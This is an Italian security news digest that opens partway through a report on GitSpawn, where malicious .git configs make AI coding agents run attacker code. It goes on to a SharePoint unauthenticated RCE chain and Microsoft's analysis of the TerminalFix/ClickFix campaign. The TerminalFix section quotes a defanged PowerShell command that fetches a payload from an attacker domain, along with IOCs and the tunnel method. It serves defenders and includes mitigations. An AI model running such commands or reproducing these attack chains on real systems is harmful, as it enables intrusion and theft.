Stato delle patch (settembre 2026)AgenteVersioni coinvolteStatogoose< 1.44.0Patchato (CVE-2026-72718, CVSS 7.0)Codex CLI0.102.0 – 0.130.0Patchato in 0.131.0+ (CVE-2026-19592)Cursorvarie build CLIPatchatoClaude Code2.1.193+Parzialmente patchato in 2.1.196+ (CVE-2026-55607); una variante “ultrareview” risultava ancora presente in 2.1.258Hermes Agent0.18.2, 0.21.0Non patchato (CVE-2026-71963, vendor non responsivo)Qwen Code0.19.6, 0.22.3Non patchatoGrok Build0.2.93, 1.0.13Non patchatoAl momento della pubblicazione non risultano exploit documentati attivamente sfruttati in the wild, e nessun CVE della classe GitSpawn compare nel catalogo CISA KEV. Vale però la pena notare che scoperte indipendenti e parallele — da Sonar già ad aprile 2026 su Claude, e da OpenAI stessa il 2 settembre 2026 con l’assegnazione di tre CVE distinti su Codex — confermano che non si tratta di un caso isolato, ma di una debolezza sistemica nel modo in cui gli agenti CLI-based interagiscono con Git all’avvio.

Mitigazioni pratiche per sviluppatori e team DevOpsIn attesa che tutti i vendor completino le patch, alcune contromisure applicabili subito:

Disattivare globalmente core.fsmonitor se non lo usate attivamente, così che nessuna configurazione locale di un repository possa riattivarlo silenziosamente:
git config --global core.fsmonitor false

Verificare la presenza di configurazioni sospette prima di aprire un repository ricevuto per file (ZIP, USB, unità condivisa) con un agente AI:
git config --global --list | grep fsmonitor
git config --get core.fsmonitor
git config --get core.hooksPath

Ispezionare manualmente .git/config di ogni repository ricevuto in questo modo, cercando in particolare core.fsmonitor, core.hooksPath e blocchi attr.tree con filtri clean/process prima di aprirlo con qualunque strumento, non solo con un agente AI.

Preferire sempre il clone via URL remoto invece di scompattare archivi o copiare cartelle .git intatte da fonti non verificate: è la barriera più semplice ed efficace, perché .git/config del remoto non viene mai trasferito da un clone standard.

Aggiornare gli agenti CLI alle ultime versioni disponibili e monitorare gli advisory dei rispettivi vendor, dato che lo stato delle patch resta disomogeneo e in evoluzione.

Per i team che integrano questi agenti in pipeline CI/CD, eseguire i comandi Git di background con override esplicito, ad esempio git -c core.fsmonitor=false status, per ridurre la superficie indipendentemente dalla configurazione locale del repository.

Perché riguarda anche voi, se non usate ancora agenti AI per il codiceGitSpawn è un promemoria di un principio più generale: ogni volta che uno strumento — sia un IDE, un CI runner o un agente AI — esegue comandi Git “di cortesia” per raccogliere contesto, sta implicitamente fidandosi della configurazione locale di un repository che potrebbe non aver mai scelto di clonare. Con la crescente adozione di agenti AI capaci di eseguire comandi in autonomia sul filesystem locale, questa fiducia implicita diventa un vettore di attacco concreto, non solo teorico. Vale la pena rivedere, anche nei propri script di automazione e negli ambienti di sviluppo condivisi, quali strumenti eseguono comandi Git non richiesti esplicitamente dall’utente, e blindare quel percorso a prescindere dal CVE del giorno.

Fonte originale: The Hacker News – Malicious .git Configs Can Make Claude, Codex, Cursor, and Other AI Agents Run Attacker Code. Ricerca tecnica: Cyber Security News – GitSpawn Flaws Let Malicious Repositories Execute Code (Manifold Security).

Una catena di due CVE trasforma SharePoint in un bersaglio non autenticatoAd agosto 2026 Rapid7 e VulnCheck hanno pubblicato, in tempi ravvicinati, l’#analisi tecnica di una catena di exploit che colpisce Microsoft #SharePoint Server on-premises con impatto massimo: esecuzione di codice remoto senza alcuna autenticazione. La catena combina due vulnerabilità distinte, #CVE-2026-55040 (bypass di autenticazione JWT, CVSS 9.1) e CVE-2026-63520 (istanziazione insicura di tipi .NET nel motore Business Data Connectivity), e secondo Shadowserver oltre 8.700 server SharePoint risultano ancora esposti direttamente su #Internet. Per chi gestisce infrastrutture SharePoint on-prem non si tratta di un bollettino da archiviare: è una delle catene di attacco più pericolose viste sulla piattaforma dai tempi di ToolShell.

CVE-2026-55040: quando il token JWT non prova più nullaIl primo anello della catena riguarda la pipeline di validazione dei token JWT usati internamente da SharePoint per l’autenticazione tra servizi. A causa di controlli insufficienti su questi token, un attaccante che conosca in anticipo l’identità di un utente target (tramite il suo SID di Active Directory o il suo UPN, entrambi spesso enumerabili o prevedibili in ambienti aziendali) può forgiare un token valido e impersonarlo senza fornire alcuna credenziale. Il risultato è un bypass completo dell’autenticazione: l’attaccante #entra nel sistema con l’identità di un utente legittimo, potenzialmente un amministratore.

Da sola, questa vulnerabilità (classificata CWE-1390, “Weak Authentication”) sarebbe già critica. Ma è il punto di ingresso che rende possibile il secondo, ben più devastante, stadio della catena.

CVE-2026-63520: RCE tramite Business Data ConnectivityIl secondo CVE affligge il sottosistema Business Data Connectivity (BDC) di SharePoint, che permette di collegare fonti dati esterne tramite modelli descritti in file XML con estensione .bdcm. La causa radice è un’istanziazione di tipi .NET non sufficientemente validata nella classe DbTypeReflector: il metodo ResolveDotNetType() chiama direttamente Type.GetType() su un valore TypeName controllato dall’attaccante, senza un controllo efficace. Il filtro di sicurezza esistente si limitava a bloccare nomi di tipo corti, ma nomi di tipo superiori ai 15 caratteri bypassavano il controllo, aprendo la porta a qualunque tipo .NET disponibile nella Global Assembly Cache (GAC).

In pratica, un attaccante autenticato (o, dopo il bypass JWT, di fatto chiunque) può caricare un file BDCM appositamente costruito che definisce un LobSystem, un’Entity e un MethodInstance di tipo Finder. Quando SharePoint valuta una External List collegata a quel modello, il Finder viene eseguito automaticamente. I ricercatori hanno dimostrato più catene di gadget funzionanti, tra cui una basata su System.Windows.Data.ObjectDataProvider combinato con System.Diagnostics.Process per l’esecuzione diretta di comandi, e una variante che sfrutta System.Web.UI.LosFormatter.Deserialize() con un gadget TypeConfuseDelegate codificato in Base64 per innescare la deserializzazione insicura. Un semplice payload di prova può lanciare calc.exe sul server con i privilegi dell’account di servizio di SharePoint; in produzione, lo stesso meccanismo consente l’esecuzione di codice arbitrario, inclusi payload di post-exploitation completi.

La catena completa: da zero credenziali a RCEConcatenando le due vulnerabilità, un attaccante che conosce solo lo UPN o il SID di un account SharePoint può:

Forgiare un token JWT valido sfruttando CVE-2026-55040, ottenendo un contesto di autenticazione senza credenziali reali;

Usare quel contesto per caricare un modello BDC malevolo e sfruttare CVE-2026-63520;

Ottenere esecuzione di codice remoto con i privilegi dell’account applicativo di SharePoint, tipicamente con accesso ampio al farm e, a cascata, ad Active Directory.

È esattamente questo l’aspetto che ha spinto VulnCheck a pubblicare i dettagli tecnici in anticipo rispetto all’embargo standard di 30 giorni: un PoC pubblico era già in circolazione e la finestra di rischio per i server non patchati si stava riducendo rapidamente. Bleeping Computer e SecurityAffairs hanno successivamente confermato tentativi di sfruttamento attivo in the wild, mentre la società di threat intelligence Defused ha osservato attività di ricognizione sistematica contro honeypot SharePoint esposti.

Versioni affette e patch disponibiliMicrosoft ha rilasciato aggiornamenti dedicati per tutte le edizioni supportate on-premises:

SharePoint Server Subscription Edition: KB5002882, build 16.0.19725.20434

SharePoint Server 2019: KB5002883, build 16.0.10417.20175

SharePoint Enterprise Server 2016: KB5002891, build 16.0.5561.1001

SharePoint Online (Microsoft 365) non è interessato: il rischio riguarda esclusivamente le installazioni on-premises. Se gestite un farm SharePoint self-hosted, la priorità è applicare queste patch ora, non nella prossima finestra di manutenzione pianificata.

Cosa fare subito, in praticaOltre al patching, che resta la contromisura primaria e non negoziabile, alcune azioni concrete per ridurre l’esposizione e rilevare eventuali compromissioni:

Inventariare i server esposti: verificate quali istanze SharePoint sono raggiungibili direttamente da Internet e valutate se sia davvero necessario, oppure se possano essere posizionate dietro un reverse proxy con autenticazione aggiuntiva o una VPN.

Controllare la build corrente: dalla Central Administration o via PowerShell (Get-SPFarm | Select BuildVersion) verificate che i server siano allineati alle build patchate elencate sopra.

Monitorare i log IIS e ULS per pattern di autenticazione anomali (token JWT sospetti, accessi con identità che normalmente non generano traffico da quell’origine) e per upload o modifiche di modelli BDC non pianificati.

Verificare le configurazioni Business Connectivity Services: se il farm non usa BDC/BCS in modo attivo, valutate se disabilitare il servizio riduce la superficie d’attacco senza impatti operativi.

Applicare il principio del minimo privilegio agli account di servizio di SharePoint, così da limitare il “raggio d’azione” di un’eventuale esecuzione di codice riuscita.

La combinazione di autenticazione bypassabile e deserializzazione insicura è un pattern che SharePoint ha già visto in passato (basti pensare a ToolShell nel 2025), e che continua a ripresentarsi perché il BDC/BCS resta un componente ricco di superficie d’attacco poco monitorato rispetto ad altre parti della piattaforma. Vale la pena, in generale, trattare ogni funzionalità di connettività dati esterna come un potenziale vettore di deserializzazione e sottoporla a hardening a prescindere dal CVE del momento.

Fonte originale: Petri IT Knowledgebase – SharePoint Exploit Code Puts Thousands of Internet-Facing Servers At Risk. Analisi tecnica aggiuntiva: Rapid7 su CVE-2026-55040, Rapid7 su CVE-2026-63520 e VulnCheck.

Da fine agosto 2026 Microsoft Threat Intelligence sta monitorando una campagna che porta il nome interno di TerminalFix: una variante evoluta della tecnica ClickFix, in cui l’utente viene convinto a “risolvere” da solo una verifica anti-bot incollando ed eseguendo un comando nel terminale di #Windows. A differenza delle precedenti ondate ClickFix, che si limitavano a piazzare un infostealer, questa campagna costruisce una catena multi-stadio con DLL sideloading, steganografia e un tunnel di rete inverso completo. Per chi gestisce endpoint aziendali è un caso di studio da conoscere a fondo, perché la superficie di attacco non è una vulnerabilità software, ma il comportamento umano davanti a un prompt che sembra legittimo.

Cos’è la tecnica ClickFix e perché funziona ancoraClickFix sfrutta un principio semplice: gli utenti sono ormai abituati a superare verifica #CAPTCHA, quindi un overlay che imita #Cloudflare Turnstile o un servizio simile non desta sospetti. La particolarità è che l’overlay non chiede di cliccare una casella, ma guida la vittima a premere Win+R, incollare un comando (già copiato negli appunti dal sito malevolo tramite JavaScript) e premere Invio. In questo modo l’attaccante bypassa i controlli sui download dai #browser: non c’è un eseguibile da salvare e aprire, solo testo incollato in una finestra di dialogo che l’utente stesso avvia.

La catena di attacco di TerminalFix, passo dopo passoSecondo l’#analisi pubblicata da Microsoft Security, la campagna si sviluppa in otto fasi distinte, orchestrate per restare sotto la soglia di rilevamento della maggior parte degli endpoint protection tradizionali.

1. Il sito compromesso e il falso CloudflareLa vittima visita un sito legittimo ma compromesso (uno degli indicatori è linked-log[.]com) che mostra un overlay identico a una verifica Cloudflare Turnstile. Lo script della pagina cancella il terminale e stampa un messaggio del tipo “Starting Cloudflare verification…”, mentre il comando #PowerShell malevolo finisce già negli appunti dell’utente.

2. Download ed estrazioneIl comando incollato scarica un archivio ZIP e lo estrae in una sottocartella casuale di C:\ProgramData, ad esempio:

Invoke-WebRequest -Uri hxxps://gitnow[.]dev/payload.zip -OutFile $env:TEMP\p.zip
Expand-Archive $env:TEMP\p.zip -DestinationPath C:\ProgramData\f47f2a8c21c9df4e
Un file batch nella stessa cartella viene lanciato in modo silenzioso, avviando la fase successiva.

3. DLL sideloading su un binario firmato MicrosoftQui la campagna mostra la sua sofisticazione: il file batch esegue LockScreenContentServer.exe, un eseguibile Windows legittimo e firmato digitalmente, che al lancio cerca automaticamente dui70.dll nella propria directory prima di controllare System32. L’attaccante sfrutta esattamente questo ordine di ricerca (T1574.001 nel framework MITRE ATT&CK) piazzando una DLL malevola con lo stesso nome accanto al binario firmato. Il codice malevolo parte quindi “dentro” un processo attendibile agli occhi di qualsiasi soluzione basata su reputazione del file firmatario.

4. Steganografia: payload nascosti in immagini PNGLa DLL scarica una o più immagini PNG da server come bestsocialmedianewspapper[.]com ed estrae dati binari nascosti nei canali RGBA dei #pixel, con i primi 8 byte che codificano la lunghezza del payload come intero a 64 bit. Suddividere il payload su più immagini rende ancora più difficile il rilevamento a livello di rete, dato che il traffico appare come un semplice download di immagini verso un CDN qualunque.

5. Persistenza doppiaIl #malware si assicura la sopravvivenza al riavvio tramite due meccanismi paralleli: una chiave in HKCU...\Run e un’attività pianificata che rilancia l’eseguibile ogni 60 minuti. La ridondanza serve a resistere anche a una bonifica parziale.

6. Ricognizione dell’ambiente Active DirectoryUna volta stabilito, lo script effettua enumerazione del dominio (trust, domain admin), ping sweep dei server interni e raccolta di informazioni di sistema, il tutto orientato a mappare controller di dominio, database, server di backup, gateway e sistemi di posta come obiettivi di movimento laterale.

7-8. Loop di comando e tunnel inversoUn ciclo di file-watch controlla periodicamente un file di testo per nuovi comandi, li esegue con Invoke-Expression e ne salva l’output. Il collegamento con l’infrastruttura dell’attaccante avviene tramite una copia ufficiale di Python 3.14.5, lanciata con pythonw.exe per restare invisibile, che esegue uno script client custom (client.py). Questo implant stabilisce una connessione TLS con upgrade a WebSocket verso gitnow[.]dev:443 e implementa un proxy TCP in stile SOCKS5: l’attaccante può quindi istruire l’implant a connettersi a qualsiasi host interno raggiungibile dalla macchina compromessa, di fatto trasformandola in un pivot verso la rete aziendale. Lo script ruota anche gli User-Agent tra Chrome, Firefox e Safari per confondersi con il traffico normale.

Indicatori di compromissione principaliDomini C2/hosting: gitnow[.]dev (tunnel, porta 443), bestsocialmedianewspapper[.]com (hosting steganografico), offlineupdater[.]com (failover), linked-log[.]com (sito compromesso)

Processo abusato: LockScreenContentServer.exe in esecuzione da percorsi non standard (es. C:\ProgramData...)

DLL malevola: dui70.dll caricata tramite sideloading (nove varianti hash osservate)

Rilevamenti Microsoft Defender: Trojan:Win32/ClickFix., Trojan:Win32/TermFix., Trojan:Win64/DLLHijack.DAB!MTB, Trojan:Python/Indigo.SA

Come proteggere l’infrastruttura: checklist operativaMicrosoft e diversi ricercatori indipendenti convergono su un set comune di contromisure, applicabili sia con Microsoft Defender che con altri stack EDR:

Restringere l’esecuzione di PowerShell con AppLocker o Windows Defender Application Control, limitando gli script non firmati e abilitando il Constrained Language Mode per gli utenti standard.

Controllare o disabilitare la finestra Esegui (Win+R) tramite policy per gli utenti che non ne hanno necessità operativa, riducendo drasticamente la superficie di attacco di ClickFix.

Monitorare l’esecuzione di binari LOLBin firmati (come LockScreenContentServer.exe) da percorsi anomali quali ProgramData o Temp, non dalla loro directory di sistema abituale.

Abilitare lo script block logging di PowerShell (Event ID 4104) per avere visibilità sui comandi effettivamente eseguiti, non solo sul processo lanciato.

Attivare le regole ASR (Attack Surface Reduction) che bloccano script offuscati, eseguibili poco diffusi/nuovi e il lancio di contenuti scaricati da JavaScript/VBScript.

Configurare Windows Terminal per avvisare su incollaggi multi-riga, così da rompere l’automatismo copia-incolla-invio su cui si basa l’intera catena.

Formare gli utenti spiegando esplicitamente che nessuna verifica CAPTCHA legittima richiede mai di aprire un terminale o una finestra di esecuzione comandi.

Se vengono rilevati indicatori della campagna, trattare l’host come compromesso a livello di rete: ruotare le credenziali usate su quella macchina (comprese quelle di dominio se sono state inserite) e verificare eventuali connessioni SOCKS anomale verso l’esterno.

ConclusioneTerminalFix conferma una tendenza che i sistemisti dovrebbero già avere sul radar: le tecniche di social engineering come ClickFix non sono più un problema “consumer” legato a infostealer opportunistici, ma vengono usate come testa di ponte per intrusioni enterprise complete, con ricognizione Active Directory e accesso di rete persistente. Il punto debole non è tecnico ma comportamentale, ed è proprio per questo che i controlli più efficaci — blocco di PowerShell non firmato, restrizioni su Win+R, logging degli script — vanno applicati indipendentemente dal fatto che l’endpoint protection riconosca o meno la specifica variante del giorno.

Fonte: Microsoft Security Blog – “TerminalFix campaign deploys reverse tunnel through multistage intrusion”

#Thunderbird 155 migliora #OAuth, #sicurezza e gestione della #posta su #Linux – #LinuxEasy

#uno #sicurezza @sicurezza@diggita.com

https://www.linuxeasy.org/thunderbird-155-migliora-oauth-sicurezza-e-gestione-della-posta-su-linux/

#Pixel 11 perde una protezione #hardware: #GrapheneOS getta la #spugna

#uno #google #sicurezza @sicurezza@diggita.com

https://www.ilsoftware.it/pixel-11-perde-una-protezione-hardware-grapheneos-getta-la-spugna/